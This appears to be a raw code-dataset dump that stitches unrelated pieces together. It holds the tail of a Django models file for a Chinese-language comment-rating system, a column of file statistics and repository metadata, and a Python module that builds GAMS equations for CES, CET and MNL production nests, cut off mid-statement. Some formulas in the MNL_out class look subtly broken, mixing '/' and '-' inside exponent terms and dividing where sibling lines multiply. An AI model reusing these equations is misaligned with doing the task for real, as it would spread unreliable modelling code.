evaluate_amount = models.IntegerField(verbose_name='此类别的评价数量', default=0) state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '删除'), (2, '')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) class EvaluateReplyHistory(models.Model): """ 评价一级回复记录 """ id = models.CharField(max_length=32, verbose_name='评价记录表主键', primary_key=True) evaluate_reply = models.ForeignKey(EvaluateReply, on_delete=models.CASCADE, verbose_name='评价一级回复外键') user = models.ForeignKey(MyUser, on_delete=models.CASCADE, verbose_name='用户外键') reason_id = models.IntegerField(verbose_name='评价原因code') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '删除'), (2, '')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) ##################################### # 二级回复,用户评价 ##################################### class ChangeScoreByDiscussionHistory(models.Model): """ 生效评价记录(来自二级回复) """ id = models.CharField(max_length=32, verbose_name='评价记录表主键', primary_key=True) discussion = models.ForeignKey(Discussion, on_delete=models.CASCADE, verbose_name='二级回复外键') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '待复核'), (1, '已复核'), (2, '已复原')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) class EvaluateDiscussion(models.Model): """ 评价二级回复 """ id = models.CharField(max_length=32, verbose_name='评价二级回复主键', primary_key=True) discussion = models.ForeignKey(Discussion, on_delete=models.CASCADE, verbose_name='二级回复外键') reason_id = models.IntegerField(verbose_name='评价原因code') evaluate_amount = models.IntegerField(verbose_name='此类别的评价数量', default=0) state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '删除'), (2, '')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) class EvaluateDiscussionHistory(models.Model): """ 评价二级回复记录 """ id = models.CharField(max_length=32, verbose_name='评价记录表主键', primary_key=True) evaluate_discussion = models.ForeignKey(EvaluateDiscussion, on_delete=models.CASCADE, verbose_name='评价一级回复外键') user = models.ForeignKey(MyUser, on_delete=models.CASCADE, verbose_name='用户外键') reason_id = models.IntegerField(verbose_name='评价原因code') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '删除'), (2, '')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) ##################################### # 群主踢人,用户评价 ##################################### class EvaluateGroupAdmin(models.Model): """ 群主踢人评价 """ id = models.CharField(max_length=32, verbose_name='群主踢人评价表主键', primary_key=True) group = models.ForeignKey(Group, on_delete=models.CASCADE, verbose_name='群组外键') admin = models.ForeignKey(MyUser, related_name='evaluate_group_admin_RN_admin', on_delete=models.CASCADE, verbose_name='群主外键') reason_id = models.IntegerField(verbose_name='评价原因code') out_user = models.ForeignKey(MyUser, related_name='evaluate_group_admin_RN_out_user', on_delete=models.CASCADE, verbose_name='被踢者外键') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '已审核'), (2, '删除')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) ##################################### # 私聊退出,用户评价 ##################################### class EvaluateDirectchat(models.Model): """ 私聊退出评价 """ id = models.CharField(max_length=32, verbose_name='私聊退出评价表主键', primary_key=True) user = models.ForeignKey(MyUser, related_name='evaluate_directchat_RN_user', on_delete=models.CASCADE, verbose_name='主动评价者外键') reason_id = models.IntegerField(verbose_name='评价原因code') other_user = models.ForeignKey(MyUser, related_name='evaluate_directchat_RN_other_user', on_delete=models.CASCADE, verbose_name='被评价者外键') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '已审核'), (2, '删除')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 )
36.282197
141
0.639505
2,158
19,157
5.470343
0.073679
0.159339
0.1169
0.132486
0.86997
0.863871
0.847607
0.830496
0.787548
0.768911
0
0.013688
0.183901
19,157
527
142
36.351044
0.741397
0.013363
0
0.737662
0
0
0.067949
0.006767
0
0
0
0
0
1
0
false
0
0.018182
0
0.522078
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ccaa72f7bc6ee2b87fa9beec8e9bc4bdbf37a365
28,345
py
Python
py_main/gams_production.py
ChampionApe/GPM_v05
fa44f7db58d30002726daf014c63734091c85860
[ "MIT" ]
1
2021-05-18T07:11:15.000Z
2021-05-18T07:11:15.000Z
py_main/gams_production.py
ChampionApe/GPM_v05
fa44f7db58d30002726daf014c63734091c85860
[ "MIT" ]
null
null
null
py_main/gams_production.py
ChampionApe/GPM_v05
fa44f7db58d30002726daf014c63734091c85860
[ "MIT" ]
null
null
null
import pandas as pd, DataBase, DataBase_wheels def equation(name,domains,conditions,LHS,RHS): return f"""{name}{domains}{'$('+conditions+')' if conditions != '' else conditions}.. {LHS} =E= {RHS};""" def df(x,kwargs): """ Modify x using keyword arguments (dicts,kwarg). """ return x if x not in kwargs else kwargs[x] def create_alias_dict(aliases,list_of_tuples_indices=[]): return {aliases[i[0]]: aliases[i[1]] for i in list_of_tuples_indices} def ign_KeyError(dict_,key): try: return dict_[key] except KeyError: return None class CES: """ collection of price indices / demand systems for ces nests """ def __init__(self,version='std',**kwargs): """ Add version of the model """ self.version = version def add_symbols(self,db,ns_local,ns_global={},dynamic=False): """ add gpy_symbols with writing methods. ns is a namespace to update symbol names if they are nonstandard """ for sym in ['map_']: setattr(self,sym,db[ns_local[sym]]) for sym in ('PbT','PwT','qD','qS','mu','sigma','n'): setattr(self,sym,db[df(sym,ns_global)]) if dynamic is True: for sym in ('txE','t0','tE','tx0E'): setattr(self,sym,db[df(sym,ns_global)]) self.aliases = {i: db.alias_dict0[self.n.name][i] for i in range(len(db.alias_dict0[self.n.name]))} def add_conditions(self,db,ns_tree,dynamic=False): """ add gpy_symbols with writing methods. ns_tree is a namespace for relevant subsets to condition the equations on.""" self.conditions = {'zp_out': db[ns_tree['tree_out']].write(),'zp_nout': db[ns_tree['kno_no']].write(), 'q_out': db[ns_tree['bra_o']].write(), 'q_nout': db[ns_tree['bra_no']].write()} if dynamic is True: self.conditions = {key: value+' and '+self.txE.write() for key,value in self.conditions.items()} def a(self,attr,lot_indices=[],l='',lag={}): """ get the version of the symbol self.attr with alias from list of tuples with indices (lot_indices) and potentially .l added.""" return getattr(self,attr).write(alias=create_alias_dict(self.aliases,lot_indices),l=l,lag=lag) def run(self,name,conditions=None): conditions = self.conditions if conditions is None else conditions nn,mu,sigma2 = self.a('n',[(0,1)]),self.a('mu'),self.a('sigma',[(0,1)]) map_,map_2 = self.a('map_'),self.a('map_',[(0,1),(1,0)]) PwT, PwT2 = self.a('PwT'),self.a('PwT',[(0,1)]) PbT,PbT2 = self.a('PbT'),self.a('PbT',[(0,1)]) qD,qD2 = self.a('qD'), self.a('qD',[(0,1)]) qS,qS2 = self.a('qS'), self.a('qS',[(0,1)]) text = self.zero_profit(f"E_zp_out_{name}",conditions['zp_out'],nn,map_2,qD,qD2,qS,PbT,PwT,PwT2,output=True)+'\n\t' text += self.zero_profit(f"E_zp_nout_{name}",conditions['zp_nout'],nn,map_2,qD,qD2,qS,PbT,PwT,PwT2,output=False)+'\n\t' text += self.demand(f"E_q_out_{name}",conditions['q_out'],nn,map_,mu,PwT,PwT2,PbT2,qD,qD2,qS2,sigma2,output=True)+'\n\t' text += self.demand(f"E_q_nout_{name}",conditions['q_nout'],nn,map_,mu,PwT,PwT2,PbT2,qD,qD2,qS2,sigma2,output=False) return text def demand(self,name,conditions,nn,map_,mu,PwT,PwT2,PbT2,qD,qD2,qS2,sigma2,output=False): """ ces demand """ if output is False: RHS = f"""sum({nn}$({map_}), {mu} * ({PwT2}/{PwT})**({sigma2}) * {qD2})""" else: RHS = f"""sum({nn}$({map_}), {mu} * ({PbT2}/{PwT})**({sigma2}) * {qS2})""" return equation(name,self.qD.doms(),conditions,qD,RHS) def zero_profit(self,name,conditions,nn,map_2,qD,qD2,qS,PbT,PwT,PwT2,output=False): """ zero profits condition """ RHS = f"""sum({nn}$({map_2}), {qD2}*{PwT2})""" if output is True: return equation(name,self.PbT.doms(),conditions,f"{PbT}*{qS}",RHS) else: return equation(name,self.PwT.doms(),conditions,f"{PwT}*{qD}",RHS) class CES_norm: """ collection of price indices / demand systems for ces nests """ def __init__(self,version='std',**kwargs): """ Add version of the model """ self.version = version def add_symbols(self,db,ns_local,ns_global={},dynamic=False): """ add gpy_symbols with writing methods. ns is a namespace to update symbol names if they are nonstandard """ for sym in ['map_']: setattr(self,sym,db[ns_local[sym]]) for sym in ('PbT','PwT','qD','qS','mu','sigma','n'): setattr(self,sym,db[df(sym,ns_global)]) if dynamic is True: for sym in ('txE','t0','tE','tx0E'): setattr(self,sym,db[df(sym,ns_global)]) self.aliases = {i: db.alias_dict0[self.n.name][i] for i in range(len(db.alias_dict0[self.n.name]))} def add_conditions(self,db,ns_tree,dynamic=False): """ add gpy_symbols with writing methods. ns_tree is a namespace for relevant subsets to condition the equations on.""" self.conditions = {'zp_out': db[ns_tree['tree_out']].write(),'zp_nout': db[ns_tree['kno_no']].write(), 'q_out': db[ns_tree['bra_o']].write(), 'q_nout': db[ns_tree['bra_no']].write()} if dynamic is True: self.conditions = {key: value+' and '+self.txE.write() for key,value in self.conditions.items()} def a(self,attr,lot_indices=[],l='',lag={}): """ get the version of the symbol self.attr with alias from list of tuples with indices (lot_indices) and potentially .l added.""" return getattr(self,attr).write(alias=create_alias_dict(self.aliases,lot_indices),l=l,lag=lag) def run(self,name,conditions=None): conditions = self.conditions if conditions is None else conditions nn,nnn = self.a('n',[(0,1)]), self.a('n',[(0,2)]) mu,mu3 = self.a('mu'), self.a('mu',[(0,2)]) sigma2 = self.a('sigma',[(0,1)]) map_,map_2,map_3 = self.a('map_'),self.a('map_',[(0,1),(1,0)]), self.a('map_',[(0,2)]) PwT,PwT2,PwT3 = self.a('PwT'), self.a('PwT',[(0,1)]), self.a('PwT',[(0,2)]) PbT,PbT2 = self.a('PbT'),self.a('PbT',[(0,1)]) qD,qD2 = self.a('qD'),self.a('qD',[(0,1)]) qS,qS2 = self.a('qS'),self.a('qS',[(0,1)]) text = self.zero_profit(f"E_zp_out_{name}",conditions['zp_out'],nn,map_2,qD,qD2,qS,PbT,PwT,PwT2,output=True)+'\n\t' text += self.zero_profit(f"E_zp_nout_{name}",conditions['zp_nout'],nn,map_2,qD,qD2,qS,PbT,PwT,PwT2,output=False)+'\n\t' text += self.demand(f"E_q_out_{name}", conditions['q_out'],nn,nnn,map_,map_3,mu,mu3,sigma2,PwT,PwT2,PwT3,PbT2,qD,qD2,qS2,output=True)+'\n\t' text += self.demand(f"E_q_nout_{name}", conditions['q_nout'],nn,nnn,map_,map_3,mu,mu3,sigma2,PwT,PwT2,PwT3,PbT2,qD,qD2,qS2,output=False) return text def demand(self,name,conditions,nn,nnn,map_,map_3,mu,mu3,sigma2,PwT,PwT2,PwT3,PbT2,qD,qD2,qS2,output=False): """ ces demand """ if output is False: RHS = f"""sum({nn}$({map_}), {mu} * ({PwT2}/{PwT})**({sigma2}) * {qD2} / sum({nnn}$({map_3}), {mu3} * ({PwT2}/{PwT3})**({sigma2})))""" else: RHS = f"""sum({nn}$({map_}), {mu} * ({PbT2}/{PwT})**({sigma2}) * {qS2} / sum({nnn}$({map_3}), {mu3} * ({PbT2}/{PwT3})**({sigma2})))""" return equation(name,self.qD.doms(),conditions,qD,RHS) def zero_profit(self,name,conditions,nn,map_,qD,qD2,qS,PbT,PwT,PwT2,output=False): """ zero profits condition """ RHS = f"""sum({nn}$({map_}), {qD2}*{PwT2})""" if output is True: return equation(name,self.PbT.doms(),conditions,f"{PbT}*{qS}",RHS) else: return equation(name,self.PwT.doms(),conditions,f"{PwT}*{qD}",RHS) class CET: """ collection of equations for CET nests """ def __init__(self,version='std',**kwargs): self.version = version def add_symbols(self,db,ns_local,ns_global={},**kwargs): for sym in ['map_']: setattr(self,sym,db[ns_local[sym]]) for sym in ('PbT','PwT','qD','qS','mu','eta','n','out'): setattr(self,sym,db[df(sym,ns_global)]) self.aliases = {i: db.alias_dict0[self.n.name][i] for i in range(len(db.alias_dict0[self.n.name]))} def add_conditions(self,db,ns_tree): self.conditions = {'zp': db[ns_tree['knots']].write(), 'q_out': db[ns_tree['bra_o']].write(),'q_nout': db[ns_tree['bra_no']].write()} def a(self,attr,lot_indices=[],l='',lag={}): """ get the version of the symbol self.attr with alias from list of tuples with indices (lot_indices) and potentially .l added.""" return getattr(self,attr).write(alias=create_alias_dict(self.aliases,lot_indices),l=l,lag=lag) def run(self,name,conditions=None): conditions = self.conditions if conditions is None else conditions nn,mu,eta2,out2 = self.a('n',[(0,1)]),self.a('mu'),self.a('eta',[(0,1)]),self.a('out',[(0,1)]) map_,map_2 = self.a('map_'),self.a('map_',[(0,1),(1,0)]) PwT, PwT2 = self.a('PwT'),self.a('PwT',[(0,1)]) PbT,PbT2 = self.a('PbT'),self.a('PbT',[(0,1)]) qD,qD2 = self.a('qD'), self.a('qD',[(0,1)]) qS,qS2 = self.a('qS'), self.a('qS',[(0,1)]) text = self.zero_profit(f"E_zp_{name}",conditions['zp'],nn,map_2,out2,qD,qD2,qS2,PbT2,PwT,PwT2)+'\n\t' text += self.demand(f"E_q_out_{name}",conditions['q_out'],nn,map_,mu,PwT,PwT2,PbT,qD,qD2,qS,eta2,output=True)+'\n\t' text += self.demand(f"E_q_nout_{name}",conditions['q_nout'],nn,map_,mu,PwT,PwT2,PbT,qD,qD2,qS,eta2,output=False) return text def zero_profit(self,name,conditions,nn,map_2,out2,qD,qD2,qS2,PbT2,PwT,PwT2): RHS = f"""sum({nn}$({map_2} and {out2}), {qS2}*{PbT2})+sum({nn}$({map_2} and not {out2}), {qD2}*{PwT2})""" return equation(name,self.PwT.doms(),conditions,f"{PwT}*{qD}",RHS) def demand(self,name,conditions,nn,map_,mu,PwT,PwT2,PbT,qD,qD2,qS,eta2,output=False): if output is False: RHS = f"""sum({nn}$({map_}), {mu} * ({PwT}/{PwT2})**(-{eta2}) * {qD2})""" return equation(name,self.qD.doms(),conditions,qD,RHS) else: RHS = f"""sum({nn}$({map_}), {mu} * ({PbT}/{PwT2})**(-{eta2}) * {qD2})""" return equation(name,self.qS.doms(),conditions,qS,RHS) class CET_norm: """ collection of price indices / demand systems for CET nests """ def __init__(self,version='std',**kwargs): """ Add version of the model """ self.version = version def add_symbols(self,db,ns_local,ns_global={},**kwargs): for sym in ['map_']: setattr(self,sym,db[ns_local[sym]]) for sym in ('PbT','PwT','qD','qS','mu','eta','n','out'): setattr(self,sym,db[df(sym,ns_global)]) self.aliases = {i: db.alias_dict0[self.n.name][i] for i in range(len(db.alias_dict0[self.n.name]))} def add_conditions(self,db,ns_tree): self.conditions = {'zp': db[ns_tree['knots']].write(), 'q_out': db[ns_tree['bra_o']].write(),'q_nout': db[ns_tree['bra_no']].write()} def a(self,attr,lot_indices=[],l='',lag={}): """ get the version of the symbol self.attr with alias from list of tuples with indices (lot_indices) and potentially .l added.""" return getattr(self,attr).write(alias=create_alias_dict(self.aliases,lot_indices),l=l,lag=lag) def run(self,name,conditions=None): conditions = self.conditions if conditions is None else conditions out2,out3 = self.a('out',[(0,1)]), self.a('out',[(0,2)]) nn,nnn = self.a('n',[(0,1)]), self.a('n',[(0,2)]) mu,mu3 = self.a('mu'), self.a('mu',[(0,2)]) eta2 = self.a('eta',[(0,1)]) map_,map_2,map_3 = self.a('map_'),self.a('map_',[(0,1), (1,0)]), self.a('map_',[(0,2)]) PwT,PwT2,PwT3 = self.a('PwT'), self.a('PwT',[(0,1)]), self.a('PwT',[(0,2)]) PbT,PbT2,PbT3 = self.a('PbT'),self.a('PbT',[(0,1)]),self.a('PbT',[(0,2)]) qD,qD2 = self.a('qD'),self.a('qD',[(0,1)]) qS,qS2 = self.a('qS'),self.a('qS',[(0,1)]) text = self.zero_profit(f"E_zp_{name}",conditions['zp'],nn,map_2,out2,qD,qD2,qS2,PbT2,PwT,PwT2)+'\n\t' text += self.demand(f"E_q_out_{name}",conditions['q_out'],nn,nnn,map_,map_3,mu,mu3,out3,eta2,qD,qD2,qS,PwT,PwT2,PwT3,PbT,PbT3,output=True)+'\n\t' text += self.demand(f"E_q_nout_{name}",conditions['q_nout'],nn,nnn,map_,map_3,mu,mu3,out3,eta2,qD,qD2,qS,PwT,PwT2,PwT3,PbT,PbT3,output=False) return text def demand(self,name,conditions,nn,nnn,map_,map_3,mu,mu3,out3,eta2,qD,qD2,qS,PwT,PwT2,PwT3,PbT,PbT3,output=False): if output is False: RHS = f"""sum({nn}$({map_}), {mu} * ({PwT}/{PwT2})**(-{eta2}) * {qD2}/(sum({nnn}$({map_3} and {out3}), {mu3}*({PbT3}/{PwT2})**(-{eta2}))+sum({nnn}$({map_3} and not {out3}), {mu3}*({PwT3}/{PwT2})**(-{eta2}))))""" return equation(name,self.qD.doms(),conditions,qD,RHS) else: RHS = f"""sum({nn}$({map_}), {mu} * ({PbT}/{PwT2})**(-{eta2}) * {qD2}/(sum({nnn}$({map_3} and {out3}), {mu3}*({PbT3}/{PwT2})**(-{eta2}))+sum({nnn}$({map_3} and not {out3}), {mu3}*({PwT3}/{PwT2})**(-{eta2}))))""" return equation(name,self.qS.doms(),conditions,qS,RHS) def zero_profit(self,name,conditions,nn,map_2,out2,qD,qD2,qS2,PbT2,PwT,PwT2): RHS = f"""sum({nn}$({map_2} and {out2}), {qS2}*{PbT2})+sum({nn}$({map_2} and not {out2}), {qD2}*{PwT2})""" return equation(name,self.PwT.doms(),conditions,f"{PwT}*{qD}",RHS) class MNL: """ collection of price indices / demand systems for MNL nests """ def __init__(self,version='std',**kwargs): """ Add version of the model """ self.version = version def add_symbols(self,db,ns_local,ns_global={}): """ add gpy_symbols with writing methods. ns is a namespace to update symbol names if they are nonstandard """ for sym in ['map_']: setattr(self,sym,db[ns_local[sym]]) for sym in ('PbT','PwT','qD','qS','mu','sigma','n'): setattr(self,sym,db[df(sym,ns_global)]) self.aliases = {i: db.alias_dict0[self.n.name][i] for i in range(len(db.alias_dict0[self.n.name]))} def add_conditions(self,db,ns_tree): """ add gpy_symbols with writing methods. ns_tree is a namespace for relevant subsets to condition the equations on.""" self.conditions = {'zp_out': db[ns_tree['tree_out']].write(),'zp_nout': db[ns_tree['kno_no']].write(), 'q_out': db[ns_tree['bra_o']].write(), 'q_nout': db[ns_tree['bra_no']].write()} def a(self,attr,lot_indices=[],l='',lag={}): """ get the version of the symbol self.attr with alias from list of tuples with indices (lot_indices) and potentially .l added.""" return getattr(self,attr).write(alias=create_alias_dict(self.aliases,lot_indices),l=l,lag=lag) def run(self,name,conditions=None): conditions = self.conditions if conditions is None else conditions nn,nnn = self.a('n',[(0,1)]), self.a('n',[(0,2)]) mu,mu3 = self.a('mu'), self.a('mu',[(0,2)]) sigma2 = self.a('sigma',[(0,1)]) map_,map_2,map_3 = self.a('map_'),self.a('map_',[(0,1),(1,0)]), self.a('map_',[(0,2)]) PwT,PwT2,PwT3 = self.a('PwT'), self.a('PwT',[(0,1)]), self.a('PwT',[(0,2)]) PbT,PbT2 = self.a('PbT'),self.a('PbT',[(0,1)]) qD,qD2 = self.a('qD'),self.a('qD',[(0,1)]) qS,qS2 = self.a('qS'),self.a('qS',[(0,1)]) text = self.zero_profit(f"E_zp_out_{name}",conditions['zp_out'],nn,map_2,qD,qD2,qS,PbT,PwT,PwT2,output=True)+'\n\t' text += self.zero_profit(f"E_zp_nout_{name}",conditions['zp_nout'],nn,map_2,qD,qD2,qS,PbT,PwT,PwT2,output=False)+'\n\t' text += self.demand(f"E_q_out_{name}", conditions['q_out'],nn,nnn,map_,map_3,mu,mu3,sigma2,PwT,PwT2,PwT3,PbT2,qD,qD2,qS2,output=True)+'\n\t' text += self.demand(f"E_q_nout_{name}", conditions['q_nout'],nn,nnn,map_,map_3,mu,mu3,sigma2,PwT,PwT2,PwT3,PbT2,qD,qD2,qS2,output=False) return text def zero_profit(self,name,conditions,nn,map_,qD,qD2,qS,PbT,PwT,PwT2,output=False): """ zero profits condition """ RHS = f"""sum({nn}$({map_}), {qD2}*{PwT2})""" if output is True: return equation(name,self.PbT.doms(),conditions,f"{PbT}*{qS}",RHS) else: return equation(name,self.PwT.doms(),conditions,f"{PwT}*{qD}",RHS) def demand(self,name,conditions,nn,nnn,map_,map_3,mu,mu3,sigma2,PwT,PwT2,PwT3,PbT2,qD,qD2,qS2,output=False): """ MNL demand """ if output is False: RHS = f"""sum({nn}$({map_}), {mu} * exp(({PwT2}-{PwT})*{sigma2}) * {qD2}/ sum({nnn}$({map_3}), {mu3}*exp(({PwT2}-{PwT3})*{sigma2})))""" else: RHS = f"""sum({nn}$({map_}), {mu} * exp(({PbT2}-{PwT})*{sigma2}) * {qS2}/ sum({nnn}$({map_3}), {mu3}*exp(({PbT2}-{PwT3})*{sigma2})))""" return equation(name,self.qD.doms(),conditions,qD,RHS) class MNL_out: """ collection of price indices / demand systems for CET nests """ def __init__(self,version='std',**kwargs): """ Add version of the model """ self.version = version def add_symbols(self,db,ns_local,ns_global={},**kwargs): for sym in ['map_']: setattr(self,sym,db[ns_local[sym]]) for sym in ('PbT','PwT','qD','qS','mu','eta','n','out'): setattr(self,sym,db[df(sym,ns_global)]) self.aliases = {i: db.alias_dict0[self.n.name][i] for i in range(len(db.alias_dict0[self.n.name]))} def add_conditions(self,db,ns_tree): self.conditions = {'zp': db[ns_tree['knots']].write(), 'q_out': db[ns_tree['bra_o']].write(),'q_nout': db[ns_tree['bra_no']].write()} def a(self,attr,lot_indices=[],l='',lag={}): """ get the version of the symbol self.attr with alias from list of tuples with indices (lot_indices) and potentially .l added.""" return getattr(self,attr).write(alias=create_alias_dict(self.aliases,lot_indices),l=l,lag=lag) def run(self,name,conditions=None): conditions = self.conditions if conditions is None else conditions nn,nnn = self.a('n',[(0,1)]), self.a('n',[(0,2)]) mu,mu3 = self.a('mu'), self.a('mu',[(0,2)]) eta2,out2,out3 = self.a('eta',[(0,1)]),self.a('out',[(0,1)]),self.a('out',[(0,2)]) map_,map_2,map_3 = self.a('map_'),self.a('map_',[(0,1),(1,0)]), self.a('map_',[(0,2)]) PwT,PwT2,PwT3 = self.a('PwT'), self.a('PwT',[(0,1)]), self.a('PwT',[(0,2)]) PbT,PbT2,PbT3 = self.a('PbT'),self.a('PbT',[(0,1)]),self.a('PbT',[(0,2)]) qD,qD2 = self.a('qD'),self.a('qD',[(0,1)]) qS,qS2 = self.a('qS'),self.a('qS',[(0,1)]) text = self.zero_profit(f"E_zp_{name}",conditions['zp'],nn,map_2,out2,qD,qD2,qS2,PbT2,PwT,PwT2)+'\n\t' text += self.demand(f"E_q_out_{name}",conditions['q_out'],nn,nnn,map_,map_3,mu,mu3,out3,eta2,qD,qD2,qS,PwT,PwT2,PwT3,PbT,PbT3,output=True)+'\n\t' text += self.demand(f"E_q_nout_{name}",conditions['q_nout'],nn,nnn,map_,map_3,mu,mu3,out3,eta2,qD,qD2,qS,PwT,PwT2,PwT3,PbT,PbT3,output=False) return text def demand(self,name,conditions,nn,nnn,map_,map_3,mu,mu3,out3,eta2,qD,qD2,qS,PwT,PwT2,PwT3,PbT,PbT3,output=False): if output is False: RHS = f"""sum({nn}$({map_}), {mu} * exp(({PwT}-{PwT2})*(-{eta2}))*{qD2}/(sum({nnn}$({map_3} and {out3}), {mu3}*exp(({PbT3}-{PwT2})/(-{eta2})))+sum({nnn}$({map_3} and not {out3}), {mu3}*exp(({PwT3}-{PwT2})*(-{eta2})))))""" return equation(name,self.qD.doms(),conditions,qD,RHS) else: RHS = f"""sum({nn}$({map_}), {mu} * exp(({PbT}-{PwT2})*(-{eta2}))*{qD2}/(sum({nnn}$({map_3} and {out3}), {mu3}*exp(({PbT3}/{PwT2})/(-{eta2})))+sum({nnn}$({map_3} and not {out3}), {mu3}*exp(({PwT3}-{PwT2})*(-{eta2})))))""" return equation(name,self.qS.doms(),conditions,qS,RHS) def zero_profit(self,name,conditions,nn,map_2,out2,qD,qD2,qS2,PbT2,PwT,PwT2): RHS = f"""sum({nn}$({map_2} and {out2}), {qS2}*{PbT2})+sum({nn}$({map_2} and not {out2}), {qD2}*{PwT2})""" return equation(name,self.PwT.doms(),conditions,f"{PwT}*{qD}",RHS) class simplesum: """ Collection of equations that define a variable as the simple sum of others """ def __init__(self): pass def add_symbols(self, db, ns): [setattr(self,sym,db[ns[sym]]) for sym in ('n', 'sumUaggs', 'sumU2U', 'qsumU', 'sumXaggs', 'sumX2X', 'qsumX', 'qD')] self.aliases = {i: db.alias_dict0[self.n.name][i] for i in range(len(db.alias_dict0[self.n.name]))} def add_conditions(self): self.conditions = {'sumUaggs': self.sumUaggs.write(), 'sumXaggs': self.sumXaggs.write()} def a(self,attr,lot_indices=[],l='',lag={}): """ get the version of the symbol self.attr with alias from list of tuples with indices (lot_indices) and potentially .l added.""" return getattr(self,attr).write(alias=create_alias_dict(self.aliases,lot_indices),l=l,lag=lag) def run(self): nn = self.a("n", [(0, 1)]) sumUaggs, sumXaggs = "sumUaggs", "sumXaggs" sumU2U, sumX2X = self.a("sumU2U"), self.a("sumX2X") qsumU, qsumX = self.a("qsumU"), self.a("qsumX") qD2 = self.a("qD", [(0, 1)]) name_sumU = "E_sumU" name_sumX = "E_sumX" text = self.simplesum(name_sumU, self.conditions["sumUaggs"], sumUaggs, sumU2U, qsumU, qD2, nn) + '\n\t' text += self.simplesum(name_sumX, self.conditions["sumXaggs"], sumXaggs, sumX2X, qsumX, qD2, nn) return text def simplesum(self, name, conditions, agg, agg2ind, qagg, qD2, nn): LHS = f"{qagg}" RHS = f"sum({nn}$({agg2ind}), {qD2})" return equation(name, getattr(self, agg).doms(), conditions, LHS, RHS) class pricewedge: def __init__(self,**kwargs): pass def add_symbols(self,db,ns,dynamic=False): [setattr(self,sym,db[ns[sym]]) for sym in ('n','markup','tauS','tauLump','Peq','PbT','qS','out')]; if dynamic is True: [setattr(self,sym,db[ns[sym]]) for sym in ('t','txE','ic') if sym in ns]; self.aliases = {i: db.alias_dict0[self.n.name][i] for i in range(len(db.alias_dict0[self.n.name]))} def add_conditions(self,db,dynamic=False): self.conditions = {'pw': self.out.write()} if dynamic is True: self.conditions = {key: value+' and '+self.txE.write() for key,value in self.conditions.items()} def a(self,attr,lot_indices=[],l='',lag={}): """ get the version of the symbol self.attr with alias from list of tuples with indices (lot_indices) and potentially .l added.""" return getattr(self,attr).write(alias=create_alias_dict(self.aliases,lot_indices),l=l,lag=lag) def run(self,name): return self.pricewedge(f"E_pw_{name}",self.conditions['pw'],self.a('Peq'),self.a('PbT'),self.a('PbT',[(0,1)]),self.a('qS',[(0,1)]),self.a('markup'),self.a('tauS'),self.a('tauLump'),self.a('n',[(0,1)]),self.a('out',[(0,1)])) def pricewedge(self,name,conditions,Peq,PbT,PbT2,qS2,markup,tauS,tauLump,nn,out2): RHS = f"""(1+{markup})*({PbT}*(1+{tauLump}/sum({nn}$({out2}), {qS2}*{PbT2}))+{tauS}+{0 if not hasattr(self,'ic') else self.ic.write()})""" return equation(name,self.PbT.doms(),conditions,Peq,RHS) class ict_v1: """ Installation costs """ def __init__(self,s=False,**kwargs): self.ns = self.namespace(kwargs) self.sector = s @staticmethod def namespace(self,**kwargs): return {key: df(key,kwargs) for key in ('ic','ic_1','ic_2','ic_tvc','os')} def add_symbols(self,db,ns): [setattr(self,sym,db[ns[sym]]) for sym in ('n','t','txE','tx0','t0','tE','dur','dur2inv','PwT','qD','Rrate','rDepr','R_LR','g_LR','infl_LR','qS','PbT','out')]; if self.sector is not False: self.ss = db[self.sector] for sym in self.ns: db[self.ns[sym]] = self.default_var_series(sym) setattr(self,sym,db[self.ns[sym]]) self.aliases = {i: db.alias_dict0[self.n.name][i] for i in range(len(db.alias_dict0[self.n.name]))} def add_conditions(self,db,ns): self.conditions = {'lom': db[ns['txE']].write(), 'pk': db[ns['tx0E']].write(),'Ktvc': db[ns['tE']].write()} self.conditions = {key: value +' and '+db[ns['dur']].write() for key,value in self.conditions.items()} [self.conditions.__setitem__(k,f"{db[ns['out']].write()} and {db[ns['txE']].write()}") for k in ('os','instcost')]; if self.sector is not False: self.conditions = {key: value +' and '+self.ss.write() for key,value in self.conditions.items()} def default_var_series(self,var): if var == 'ic': return DataBase.gpy_symbol(pd.Series(1, index = DataBase_wheels.prepend_index_with_1dindex(self.out.vals,self.txE.vals),name=self.ns[var]),**{'text':'sum of installation costs in sector s, scaled by value of outputs, per output'}) elif var == 'os': return pd.Series(0.5, index = 